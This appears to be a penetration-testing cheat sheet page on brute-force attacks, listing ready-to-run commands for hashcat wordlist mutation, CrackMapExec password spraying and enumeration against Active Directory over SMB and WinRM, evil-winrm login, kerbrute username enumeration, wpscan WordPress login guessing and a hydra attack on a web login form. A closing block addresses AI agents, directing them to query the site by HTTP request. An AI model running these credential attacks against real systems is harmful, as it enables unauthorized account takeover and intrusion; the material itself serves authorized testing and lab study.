# Brute Force

## Generate Wordlist

Password possibilites:

* username
* summer, spring, winter
* password
* date(jully, april, 2023, etc)

### Using Hashcat

```bash
hashcat --force --stdout -r /usr/share/hashcat/rules/best64.rule password.lst
```

## Active Directory

### Check workstations

```
crackmapexec smb 192.168.1.0/24
crackmapexec winrm 192.168.1.0/24


# have a user and password?
# go enumerate computers in the domain
crackmapexec smb $IP -u <username> -p <password> --computers

```

### Password spraying

check the password policy

```
crackmapexec smb $IP --pass-pol

# check this, if there is info like this go ahead for bruteforce.
Account Lockout Threshold: None
```

prepare for **targets.txt**, **users.txt** and **passwords.txt**

```bash
crackmapexec winrm targets.txt -u users.txt -p passwords.txt --continue-on-success -d <domain>

crackmapexec smb $IP -u users.txt -p '<password>'
crackmapexec winrm $IP -u users.txt -p '<password>'
# --> use evil-winrm to login
# example: evil-winrm -u mhope -p 'testpassword' -i $IP
```

## Kerbrute

<pre><code>kerbrute userenum --dc &#x3C;dc ip> -d &#x3C;domain> users.txt
<strong>kerbrute userenum --dc &#x3C;dc ip> -d &#x3C;domain> /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt
</strong>

# kerbrute with NTLM hash (https://github.com/3gstudent/pyKerbrute)

</code></pre>

## Wordpress Login

```
wpscan --url <wordpress url> --wordlist /usr/share/wordlists/rockyou.txt --username <username>
```

## Website Login Brute Force

```
hydra -l '' -P 3digits.txt -f -v 10.10.171.8 http-post-form "/login.php:pin=^PASS^:Access denied" -s 8000
```

<figure><img src="/files/AO2fOx3VRPazhSkg1aNM" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacker-mind.gitbook.io/hacker-mind/exploit/brute-force.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
